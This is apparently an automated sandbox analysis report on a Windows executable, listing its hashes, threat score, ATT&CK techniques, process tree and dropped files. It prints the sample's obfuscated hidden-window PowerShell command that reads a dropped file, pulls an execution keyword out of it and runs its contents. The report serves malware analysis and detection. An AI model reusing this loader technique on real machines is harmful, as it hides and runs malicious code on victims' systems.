ea08fba535ff837c953efbd7e664aa22bec2f4784d2d66e3dea3b357b705d973

Analysis

max time kernel
19s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
03/02/2025, 15:07

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General

Target

rCRW51901537.exe
Size

903KB
MD5

5e61c03c8a975e86e792bfa3f671ba64
SHA1

63ce77c1135445358dfae6f106e964546fdc025d
SHA256

ea08fba535ff837c953efbd7e664aa22bec2f4784d2d66e3dea3b357b705d973
SHA512

fe51514c8b8563b6e32a4369fab1d3f5af840768cdad3cd5887fbde5a9e47ac9edec446e2776fa3f998d71977fe8034e1da5069684389f6073ce78d910dedb20
SSDEEP

24576:Xiln2+hjdsfdMks3KgZ32Z8ImwIQSEab+W0Ab:Xonzds1MkkKBZ8I1RSTb+m

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2824	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
908	rCRW51901537.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rCRW51901537.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2824	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 2824	908	rCRW51901537.exe	29
PID 908 wrote to memory of 2824	908	rCRW51901537.exe	29
PID 908 wrote to memory of 2824	908	rCRW51901537.exe	29
PID 908 wrote to memory of 2824	908	rCRW51901537.exe	29

C:\Users\Admin\AppData\Local\Temp\rCRW51901537.exe
"C:\Users\Admin\AppData\Local\Temp\rCRW51901537.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Ideographic=gc -raw 'C:\Users\Admin\AppData\Local\Discernibly\lagringsformers\kasusbjning\Degaardenes179\Bloter.Ino';$Reigned=$Ideographic.SubString(70797,3);.$Reigned($Ideographic) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Discernibly\lagringsformers\kasusbjning\Degaardenes179\barricade.jpg

Filesize
17KB

MD5
ff66a9c96e345d70d38cc3a3abb6aaf6

SHA1
4983d3dc65bb245e9ba5b5777a75faccc2b76459

SHA256
03c46abaa1a37f0998ebb5da7ee3cad386037de6821958f1c7517ed10f7a846a

SHA512
36f25fcd0af78503a951f953bb65632735148902f5cf59aedfee2b74d649e57498f8ac047046448939aeed16539895746621fa91b489061be1219746921696f3

Download Submit
\Users\Admin\AppData\Local\Temp\nsj7CDE.tmp\nsExec.dll

Filesize
6KB

MD5
b55f7f1b17c39018910c23108f929082

SHA1
1601f1cc0d0d6bcf35799b7cd15550cd01556172

SHA256
c4c6fe032f3cd8b31528d7b99661f85ee22cb78746aee98ec568431d4f5043f7

SHA512
d652f2b09396ef7b9181996c4700b25840ceaa6c1c10080a55ce3db4c25d8d85f00a21e747f9d14a3374be4cdd4ea829a18d7de9b27b13b5e304447f3e9268fa

Download Submit
memory/2824-27-0x0000000074261000-0x0000000074262000-memory.dmp

Filesize
4KB

Download
memory/2824-29-0x0000000074260000-0x000000007480B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-28-0x0000000074260000-0x000000007480B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-30-0x0000000074260000-0x000000007480B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-31-0x0000000074260000-0x000000007480B000-memory.dmp

Filesize
5.7MB

Download
memory/2824-32-0x0000000074260000-0x000000007480B000-memory.dmp

Filesize
5.7MB

Download